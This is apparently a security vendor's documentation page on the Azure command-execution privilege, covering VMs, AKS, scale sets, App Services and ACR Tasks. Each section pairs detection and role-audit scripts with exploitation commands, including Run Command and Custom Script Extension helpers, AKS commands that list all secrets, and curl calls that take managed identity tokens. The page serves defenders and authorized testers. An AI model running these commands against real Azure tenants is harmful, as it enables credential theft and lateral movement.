> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command.md).

# AZ\_EXECUTE\_COMMAND

## Summary

|                            |                                                                                                                                                                                                                                                                               |
| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_EXECUTE\_COMMAND                                                                                                                                                                                                                                                          |
| **Azure Alias**            | Execute Command (VM Run Command, managed Run Commands, extensions, AKS Run Command, Web App SSH/Kudu, ACR Tasks)                                                                                                                                                              |
| **Affected Object Types**  | Virtual Machines, VM Scale Sets (Uniform mode), AKS Managed Clusters, App Services, Function Apps, Container Registries                                                                                                                                                       |
| **Exploitation Certainty** | Certain                                                                                                                                                                                                                                                                       |
| **Permission / Role**      | Azure **resource** permissions that allow running code on the guest or in a build/task runner (often **Owner**, **Contributor**, **Virtual Machine Contributor**, **AKS Contributor Role**, **Website Contributor**). See **Execution mechanisms** for the exact API actions. |

**Built-in Roles (VM):**

* Owner
* Contributor
* Virtual Machine Contributor
* Avere Contributor
* Azure Center For SAP Solutions Service Role
* Defender Servers P1/P2
* Defender SQL Servers On Machines
* VM Restore Operator
* Desktop Virtualization VM Contributor

**Built-in Roles (AKS):**

* Contributor
* Azure Kubernetes Service Contributor Role

**Built-in Roles (VMSS - Uniform Orchestration Mode):**

* Owner
* Contributor
* Virtual Machine Contributor

**Custom Role Actions (VM):**

* `Microsoft.Compute/virtualMachines/runCommand/action`
* `Microsoft.Compute/virtualMachines/runCommands/write`
* `Microsoft.Compute/virtualMachines/extensions/write`

**Custom Role Actions (AKS):**

* `Microsoft.ContainerService/managedClusters/runCommand/action`

**Custom Role Actions (VMSS):**

* `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action`

**Built-in Roles (App Services / Function Apps):**

* Owner
* Contributor
* Website Contributor

**Custom Role Actions (App Services / Function Apps):**

* `Microsoft.Web/sites/publish/Action`

**Built-in Roles (Container Registry — ACR Tasks):**

* Owner
* Contributor
* Container Registry Tasks Contributor (`fb382eab-e894-4461-af04-94435c366c3f`) — purpose-built for Tasks management; grants the entire poison/trigger/read-log loop.

**Custom Role Actions (Container Registry — ACR Tasks):**

* `Microsoft.ContainerRegistry/registries/tasks/write`
* `Microsoft.ContainerRegistry/registries/scheduleRun/action`

> **Pre-condition (real attack):** an **existing Task** on the registry already has a **privileged managed identity** attached (system-assigned or user-assigned). `tasks/write` then lets a principal rewrite the Task's `step.cmd` to dump that identity's token - **no `assign/action` is required** because the Task already carries the identity.
>
> **Not a separate escalation:** "create a new Task and attach a UAMI" requires `Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>/assign/action` on the target UAMI - which is the actual privilege primitive. With that permission an attacker can attach the UAMI to *any* compute resource (VM, Function App, ACI, etc.); ACR Tasks isn't doing any work in that case. See the AZACR section below.

## Description

`AZ_EXECUTE_COMMAND` is the risk that an attacker (or insider) with the right Azure resource permissions can **run commands inside Azure compute resources**. This includes Virtual Machines, VM Scale Sets, AKS clusters, App Services, Function Apps, and Azure Container Registry build/task runners.

### Execution mechanisms

| Permission (ARM operation, short name)                                        | Plain-english meaning                                                                                                                                           | Common tools                                              |
| ----------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| `Microsoft.Compute/virtualMachines/runCommand/action`                         | Run a **one-off command** on the VM through the agent (the usual "Run Command").                                                                                | `Invoke-AzVMRunCommand`, `az vm run-command invoke`       |
| `Microsoft.Compute/virtualMachines/runCommands/write`                         | **Save a named Run Command** on the VM (script stored on the VM resource).                                                                                      | `Set-AzVMRunCommand`, `az vm run-command create`          |
| `Microsoft.Compute/virtualMachines/extensions/write` (and related VM writes)  | **Install or change a VM extension** (for example Custom Script Extension), which runs code on the guest.                                                       | `Set-AzVMExtension`, `az vm extension set`                |
| `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action` | Run a **one-off command** on a VMSS instance.                                                                                                                   | `Invoke-AzVmssVMRunCommand`, `az vmss run-command invoke` |
| `Microsoft.ContainerService/managedClusters/runCommand/action`                | Run commands through AKS Run Command in the cluster context.                                                                                                    | `az aks command invoke`                                   |
| `Microsoft.Web/sites/publish/Action`                                          | **SSH or execute commands** on App Services/Function Apps via Web SSH or Kudu API.                                                                              | `az webapp ssh`, Kudu REST API, Web SSH portal            |
| `Microsoft.ContainerRegistry/registries/tasks/write`                          | **Create or poison an ACR Task** that executes on an ephemeral build VM with the registry's managed identity available (unlike sandboxed `az acr build`/`run`). | `az acr task create`, `az acr task update`, ARM template  |
| `Microsoft.ContainerRegistry/registries/scheduleRun/action`                   | **Trigger a quick run** against an ACR Task / Dockerfile that runs as the registry's managed identity.                                                          | `az acr task run`, `az acr build` (control plane)         |

Run Command on Windows normally runs as **SYSTEM**; on Linux it often runs as **root**. Extensions also run with high privilege on the guest. Web SSH on Linux App Services runs as **root**.

Why this matters for security:

* **Stealing credentials** - for example memory/cached credential attacks where your policy allows them.
* **Moving to other systems** - especially if the VM is joined to on-premises Active Directory.
* **Taking data** - files, databases, app data on the VM.
* **Stealing managed identity tokens** - calling the instance metadata service (IMDS) for tokens.
* **Staying on the box** - malware, scheduled tasks, bad extensions, and similar.

## Resource Sections

Use the resource-specific sections below as standalone mini-docs. Each target type has its own identification, exploitation, and detection guidance.

* [AZVM - Virtual Machines](#azvm---virtual-machines)
* [AZAKS - Azure Kubernetes Service (AKS)](#azaks---azure-kubernetes-service-aks)
* [AZVMSS - VM Scale Sets](#azvmss---vm-scale-sets)
* [AZWEBAPP - App Services & Function Apps](#azwebapp---app-services--function-apps)
* [AZACR - Azure Container Registry (ACR Tasks)](#azacr---azure-container-registry-acr-tasks)

## AZVM - Virtual Machines

### Identification

Look for identities whose roles allow **any** of these actions on the VM (or on a parent scope such as resource group or subscription):

* `Microsoft.Compute/virtualMachines/runCommand/action`
* `Microsoft.Compute/virtualMachines/runCommands/write`
* `Microsoft.Compute/virtualMachines/extensions/write`

Built-in roles like **Owner**, **Contributor**, and **Virtual Machine Contributor** usually include one or more of the above (often via broad `*` or `Microsoft.Compute/virtualMachines/*` patterns). **Custom roles** must be checked against this list.

#### PowerShell (Az module)

```powershell
Connect-AzAccount

# Guest execution actions this doc is based on
$guestExecActions = @(
    'Microsoft.Compute/virtualMachines/runCommand/action',
    'Microsoft.Compute/virtualMachines/runCommands/write',
    'Microsoft.Compute/virtualMachines/extensions/write'
)

# Role definitions that appear to grant those actions (exact match, or typical wildcards)
$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }

    foreach ($a in $acts) {
        if ($a -in @('Microsoft.Compute/*', 'Microsoft.Compute/virtualMachines/*')) {
            return $true
        }
    }

    $blob = $acts -join "`n"
    foreach ($action in $guestExecActions) {
        if ($blob -like "*$action*") { return $true }
    }

    return $false
} | Select-Object -ExpandProperty Name -Unique

# Assignments in the current subscription (use -Scope for a resource group or single VM)
Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

To scope to one VM: run `Get-AzRoleAssignment -Scope '/subscriptions/<subId>/resourceGroups/<rg>/providers/Microsoft.Compute/virtualMachines/<vmName>'` (fill in your IDs) and filter with the same `$riskyRoleNames`.

#### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **virtual machine** you want to check.
2. Open **Access control (IAM)** -> **Role assignments**.
3. Open each relevant role (especially **custom roles**) and confirm whether **Permissions** include the three actions above (or a wildcard that covers them, such as `*` or `Microsoft.Compute/virtualMachines/*`).

### Exploitation

Replace `<RGName>`, `<VMName>`, `<Location>`, and the script text with your own values. These examples are for authorized testing only.

#### Invoke-AzVmExecutionMethods (all Az methods)

```powershell
function Invoke-AzVmExecutionMethods {
    [CmdletBinding()]
    param(
        [string] $ResourceGroupName,
        [string] $VMName,
        [string] $Location,
        [ValidateSet('RunCommandAction', 'RunCommandResource', 'CustomScriptExtension', 'All')]
        [string] $Method = 'All',
        [string] $ScriptString = 'whoami; hostname',
        [string] $ManagedRunCommandName = 'managed-run-command-demo',
        [string] $ExtensionName = 'CustomScriptExtension',
        [bool] $LinuxGuest = $false
    )

    function Invoke-MethodRunCommandAction {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        $commandId = if ($LinuxGuest) { 'RunShellScript' } else { 'RunPowerShellScript' }

        Invoke-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -CommandId $commandId `
            -ScriptString $ScriptString
    }

    function Invoke-MethodRunCommandResource {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $RunCommandName,
            [string] $ScriptString
        )

        Set-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Location $Location `
            -RunCommandName $RunCommandName `
            -SourceScript $ScriptString
    }

    function Invoke-MethodCustomScriptExtension {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $ExtensionName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        if ($LinuxGuest) {
            $settings = @{
                commandToExecute = $ScriptString
            }

            Set-AzVMExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Name $ExtensionName `
                -Publisher 'Microsoft.Azure.Extensions' `
                -ExtensionType 'CustomScript' `
                -TypeHandlerVersion '2.1' `
                -SettingString ($settings | ConvertTo-Json -Compress) `
                -Location $Location

            return
        }

        $bytes = [Text.Encoding]::Unicode.GetBytes($ScriptString)
        $encoded = [Convert]::ToBase64String($bytes)

        $commandToExecute = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded"

        $settings = @{
            commandToExecute = $commandToExecute
        }

        Set-AzVMExtension `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Name $ExtensionName `
            -Publisher 'Microsoft.Compute' `
            -ExtensionType 'CustomScriptExtension' `
            -TypeHandlerVersion '1.10' `
            -SettingString ($settings | ConvertTo-Json -Compress) `
            -Location $Location
    }

    if (-not (Get-AzContext)) {
        throw 'Run Connect-AzAccount first.'
    }

    $linux = [bool]$LinuxGuest
    $extName = $ExtensionName

    if ($linux -and $extName -eq 'CustomScriptExtension') {
        $extName = 'CustomScript'
    }

    switch ($Method) {
        'RunCommandAction' {
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'RunCommandResource' {
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString
        }

        'CustomScriptExtension' {
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'All' {
            Write-Host '[*] RunCommand action Invoke-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux

            Write-Host '[*] Managed Run Command resource Set-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString

            Write-Host '[*] Custom Script Extension Set-AzVMExtension' -ForegroundColor Cyan
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }
    }
}
```

**Usage**

```powershell
Connect-AzAccount

# Call the function after dot-sourcing (or after pasting the block above)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method RunCommandAction

# Or run the file directly (shim invokes the function)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method All `
    -ScriptString 'whoami; hostname'
```

For Linux guests, add `-LinuxGuest` (the function selects `RunShellScript` and the Linux Custom Script extension publisher/type).

#### VM Method 1: `Microsoft.Compute/virtualMachines/runCommand/action` - action Run Command

**PowerShell (Windows guest)**

```powershell
Connect-AzAccount

# Executes on the VM guest as SYSTEM (Windows)
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method RunCommandAction
```

![Run Command action on a Windows VM with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-90b790e08f179263c569a4aa794e08c518c4219d%2Fazure-az_execute_command-image-1.png?alt=media)

**Azure CLI (Windows guest)**

```bash
az vm run-command invoke --resource-group 'rg-pw-demo' --name 'vm-pw-dc01' --command-id RunPowerShellScript --scripts 'whoami'
```

![Run Command action on a Windows VM with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-2b0477d90d10039e5f9c4a21e7dcb99968b64bf0%2Fazure-az_execute_command-image-2.png?alt=media)

**PowerShell (Linux guest)**

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName linux-admin-login -Method RunCommandAction -ScriptString id -LinuxGuest $true
```

![Run Command action on a Linux VM with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-62ab41619a2fd83127d63642b88da1187627a4cd%2Fazure-az_execute_command-image-3.png?alt=media)

#### VM Method 2: `Microsoft.Compute/virtualMachines/runCommands/write` - managed Run Command

Creates a named Run Command on the VM. That is handy when you want a script saved on the VM and run again later. For lab demos, keep `--async-execution false` so the command finishes before the CLI returns. See Microsoft docs if you need async (run in the background).

**Azure CLI**

```bash
az vm run-command create --resource-group rg-pw-demo --vm-name vm-pw-dc01 --run-command-name pentest-proof --location eastus --script "whoami" --async-execution false
```

![Create a managed Run Command on a Windows VM with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-805561aaa5c875a198efae1c23c86ab43b530685%2Fazure-az_execute_command-image-4.png?alt=media)

**PowerShell (Az.Compute)**

```powershell
Set-AzVMRunCommand  -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Location eastus -RunCommandName pentest-proof -SourceScript 'whoami; hostname'
```

![Create a managed Run Command on a Windows VM with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-26cf0601c3129400edc89e3802800c1fbfda9427%2Fazure-az_execute_command-image-5.png?alt=media)

#### VM Method 3: `Microsoft.Compute/virtualMachines/extensions/write` - Custom Script Extension

Adding or updating **Custom Script Extension** runs your script on the guest as part of the extension install/update. If an extension with the same name already exists, you may need a new name, a force-update flag, or to remove the old extension first - see Microsoft's docs for your case.

**Azure CLI (settings file)**

You need **read** access to the VM for this flow (`Microsoft.Compute/virtualMachines/extensions/read`), not only write.

```bash
@'
{
  "commandToExecute": "powershell -ExecutionPolicy Bypass -Command \"whoami\""
}
'@ | Out-File -Encoding ascii settings.json
az vm extension set --resource-group rg-pw-demo --vm-name vm-pw-dc01 --name CustomScriptExtension --publisher Microsoft.Compute --settings settings.json
```

![Create a Windows VM Custom Script Extension with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-3b2c9a20375335423b1806d09ff722bd3e707952%2Fazure-az_execute_command-image-6.png?alt=media)

**PowerShell (Az module)**

Same read permission on the VM applies: `Microsoft.Compute/virtualMachines/extensions/read`.

```powershell
$settings = @{
    commandToExecute = 'powershell -ExecutionPolicy Bypass -Command "whoami"'
}
Set-AzVMExtension `
    -ResourceGroupName rg-pw-demo `
    -VMName vm-pw-dc01 `
    -Name 'CustomScriptExtension' `
    -Location eastus `
    -Publisher 'Microsoft.Compute' `
    -ExtensionType 'CustomScriptExtension' `
    -TypeHandlerVersion '1.10' `
    -SettingString ($settings | ConvertTo-Json -Compress)
```

![Create a Windows VM Custom Script Extension with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-cf1881e307c22ed54122eb9bfc7af5dad82e969f%2Fazure-az_execute_command-image-7.png?alt=media)

**PowerShell - `Invoke-AzVmExecutionMethods`**

Same as the `Set-AzVMExtension` approach inside the helper script; you need `-Location` (Azure region) for this method.

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method CustomScriptExtension -Location eastus
```

![Run the Custom Script Extension helper method with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-adcccf6e9a893ba55d1969e02116dca751579cbb%2Fazure-az_execute_command-image-8.png?alt=media)

### Detection

Use the Azure Portal:

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **virtual machine** you want to review.
2. Open **Activity log**.
3. Filter **Operation** for VM execution and extension activity, such as **Run Command**, **Create or Update Virtual Machine Run Command**, and **Create or Update Virtual Machine Extension**.
4. Review the **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** fields for unexpected administrators, unusual timing, or suspicious command/extension changes.
5. On the VM blade, review **Run command** and **Extensions + applications** for saved run commands or unexpected extensions.

## AZAKS - Azure Kubernetes Service (AKS)

### Identification

Look for identities whose roles allow `Microsoft.ContainerService/managedClusters/runCommand/action` on an AKS cluster, resource group, or subscription.

Built-in roles that commonly grant this access:

* Contributor
* Azure Kubernetes Service Contributor Role

#### PowerShell (Az module)

```powershell
Connect-AzAccount

$aksRunCommandAction = 'Microsoft.ContainerService/managedClusters/runCommand/action'

$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }
    if ($acts -contains 'Microsoft.ContainerService/*') { return $true }
    if ($acts -contains $aksRunCommandAction) { return $true }
    return $false
} | Select-Object -ExpandProperty Name -Unique

Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

#### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **AKS cluster** you want to check.
2. Open **Access control (IAM)** -> **Role assignments**.
3. Review assignments for **Contributor**, **Azure Kubernetes Service Contributor Role**, and custom roles that include `Microsoft.ContainerService/managedClusters/runCommand/action`.

### Exploitation

#### AKS Run Command - `Microsoft.ContainerService/managedClusters/runCommand/action`

AKS Run Command enables code execution within the AKS cluster context, allowing access to Kubernetes resources and the cluster's managed identity.

**Azure CLI**

```bash
# Execute kubectl commands in the cluster
az aks command invoke --resource-group "<RGName>" --name "<ClusterName>" --command "kubectl get pods --all-namespaces"

# List all secrets across namespaces
az aks command invoke --resource-group "<RGName>" --name "<ClusterName>" --command "kubectl get secrets --all-namespaces"

# Execute a shell command in a specific pod
az aks command invoke --resource-group "<RGName>" --name "<ClusterName>" --command "kubectl exec -it <pod-name> -n <namespace> -- /bin/bash -c 'id; hostname'"

# Steal the cluster managed identity token
az aks command invoke --resource-group "<RGName>" --name "<ClusterName>" --command "kubectl run curl-test --image=curlimages/curl --restart=Never --command -- curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com//&client_id=<clientId>'"
```

![Use AKS Run Command to request a managed identity token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-05a647dedcee655af4cd33e23f22b2d290f2ab24%2Fazure-az_execute_command-aks_run_command_managed_identity_token_azure_cli.png?alt=media)

AKS Run Command is particularly dangerous because:

* It bypasses standard Kubernetes RBAC - the caller only needs Azure RBAC permissions.
* It provides access to all cluster resources including secrets.
* It can access the cluster's managed identity for Azure pivoting.

### Detection

Use the Azure Portal:

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **AKS cluster** you want to review.
2. Open **Activity log**.
3. Filter **Operation** for AKS Run Command activity, such as **Run command on managed cluster**.
4. Review the **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** fields for unexpected users, unusual timing, or suspicious command execution.
5. On the AKS cluster blade, review recent **Run command** activity where available.

## AZVMSS - VM Scale Sets

### Identification

Look for identities whose roles allow `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action` on a VM Scale Set, resource group, or subscription.

Built-in roles that commonly grant this access:

* Owner
* Contributor
* Virtual Machine Contributor

#### PowerShell (Az module)

```powershell
Connect-AzAccount

$vmssRunCommandAction = 'Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action'

$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }
    if ($acts -contains 'Microsoft.Compute/*') { return $true }
    if ($acts -contains 'Microsoft.Compute/virtualMachineScaleSets/*') { return $true }
    if ($acts -contains $vmssRunCommandAction) { return $true }
    return $false
} | Select-Object -ExpandProperty Name -Unique

Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

#### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **Virtual Machine Scale Set** you want to check.
2. Open **Access control (IAM)** -> **Role assignments**.
3. Review assignments for **Owner**, **Contributor**, **Virtual Machine Contributor**, and custom roles that include `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action`.

### Exploitation

#### VMSS Run Command - `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action`

Run Command on VM Scale Sets (Uniform orchestration mode only) enables code execution across multiple VM instances simultaneously.

**Azure CLI**

```bash
# Execute command on a specific VMSS instance
az vmss run-command invoke --resource-group "<RGName>" --name "<VMSSName>" --instance-id "<InstanceId>" --command-id RunPowerShellScript --scripts "whoami; hostname"

# Execute on all instances (loop through)
for id in $(az vmss list-instances --resource-group "<RGName>" --name "<VMSSName>" --query "[].instanceId" -o tsv); do
    echo "Instance: $id"
    az vmss run-command invoke --resource-group "<RGName>" --name "<VMSSName>" --instance-id "$id" --command-id RunShellScript --scripts "whoami"
done
```

**PowerShell**

```powershell
Connect-AzAccount

# Get all VMSS instances
$vmss = Get-AzVmss -ResourceGroupName "<RGName>" -VMScaleSetName "<VMSSName>"
$instances = Get-AzVmssVM -ResourceGroupName "<RGName>" -VMScaleSetName "<VMSSName>"

# Execute on each instance
foreach ($instance in $instances) {
    Invoke-AzVmssVMRunCommand -ResourceGroupName "<RGName>" `
        -VMScaleSetName "<VMSSName>" `
        -InstanceId $instance.InstanceId `
        -CommandId "RunShellScript" `
        -ScriptString "whoami; hostname"
}
```

![Run VMSS Run Command on Linux instances with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-063f9aa970c3a2cbbe70891201180b01b21be4e2%2Fazure-az_execute_command-vmss_run_command_action_powershell_linux.png?alt=media)

> **Note:** VMSS Run Command only applies to **Uniform orchestration mode** scale sets. Flexible orchestration mode uses standard VM Run Command per instance.

### Detection

Use the Azure Portal:

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **Virtual Machine Scale Set** you want to review.
2. Open **Activity log**.
3. Filter **Operation** for VMSS Run Command activity, such as **Run Command** on scale set VM instances.
4. Review the **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** fields for commands across many instances, unexpected administrators, or runs outside approved change windows.
5. On the scale set blade, review **Instances** and the affected instance activity for unexpected run command usage.

## AZWEBAPP - App Services & Function Apps

### Identification

Look for identities whose roles allow `Microsoft.Web/sites/publish/Action` on App Services, Function Apps, resource groups, or subscriptions.

Built-in roles that commonly grant this access:

* Owner
* Contributor
* Website Contributor

#### PowerShell (Az module)

```powershell
Connect-AzAccount

$webPublishAction = 'Microsoft.Web/sites/publish/Action'

$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }
    if ($acts -contains 'Microsoft.Web/*') { return $true }
    if ($acts -contains 'Microsoft.Web/sites/*') { return $true }
    if ($acts -contains $webPublishAction) { return $true }
    return $false
} | Select-Object -ExpandProperty Name -Unique

Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

#### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, **App Service**, or **Function App** you want to check.
2. Open **Access control (IAM)** -> **Role assignments**.
3. Review assignments for **Owner**, **Contributor**, **Website Contributor**, and custom roles that include `Microsoft.Web/sites/publish/Action`.

### Exploitation

#### Web App Execute Command - `Microsoft.Web/sites/publish/Action`

App Services and Function Apps support command execution through SSH and the Kudu API. With `Microsoft.Web/sites/publish/Action` permission, an attacker can:

* **SSH as root** (Linux) - full root access inside the container via Web SSH.
* **Execute commands via Kudu** - run commands through the Kudu REST API.
* **Steal managed identity tokens** - access tokens for Azure resources the app identity can reach.

**Built-in Roles with this permission:**

* Website Contributor
* Contributor
* Owner

**Method 1: SSH as Root via Web (Linux App Services)**

For Linux App Services, SSH directly into the container as **root** via the web interface.

**Web SSH Endpoints**

```
# SSH as root
https://<AppName>.scm.azurewebsites.net/webssh/host

# SSH as kudu user (sandboxed)
https://<AppName>.scm.azurewebsites.net/webssh/host?debugconsolereq=true
```

**Authentication:** Requires `Microsoft.Web/sites/publish/Action` permission. Access via:

* Browser session (Microsoft Entra authenticated)
* Injecting `Authorization: Bearer <token>` header using tools like Burp Suite, ModHeader extension, or curl

![SSH as root using the App Service web interface](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-06f67c792cf75a155f22a60761a543130951669d%2Fazure-az_execute_command-app_service_web_ssh_root_shell.png?alt=media)

**Method 2: Execute Command via Kudu API (Windows/Linux)**

Kudu commands execute as a sandboxed user (not root). Use Method 1 for root access on Linux.

**Azure CLI**

```bash
TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)

curl -s -X POST "https://<AppName>.scm.azurewebsites.net/api/command" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"command":"whoami", "dir":"."}'
```

![Execute a Kudu API command as the Kudu user with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-9c62b3e84b709dcda9e07e36af236589dd6d513d%2Fazure-az_execute_command-app_service_kudu_api_execute_command_azure_cli.png?alt=media)

**PowerShell**

```powershell
Connect-AzAccount

$token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com/").Token

Invoke-RestMethod -Uri "https://<AppName>.scm.azurewebsites.net/api/command" `
    -Method POST `
    -Headers @{ Authorization = "Bearer $token"; "Content-Type" = "application/json" } `
    -Body '{"command":"whoami", "dir":"."}'
```

![Execute a Kudu API command as the Kudu user with PowerShell](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-da1a009d7752a79cec219a40dbc41c430886c89e%2Fazure-az_execute_command-app_service_kudu_api_execute_command_powershell.png?alt=media)

**Method 3: Steal Managed Identity Token**

App Services use a local identity endpoint (not the standard VM IMDS at 169.254.169.254).

> **Important:** The managed identity environment variables (`IDENTITY_ENDPOINT`, `IDENTITY_HEADER`) are **only available when executing as root** via Web SSH (Method 1). The Kudu sandbox (Method 2) runs in a separate container without these variables.

**Linux (via Web SSH as root)**

```bash
# X-IDENTITY-HEADER method (newer API - 2019-08-01)
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"

# MSI_SECRET method (older API - 2017-09-01)
curl -s -H "secret: $MSI_SECRET" \
    "$MSI_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01"
```

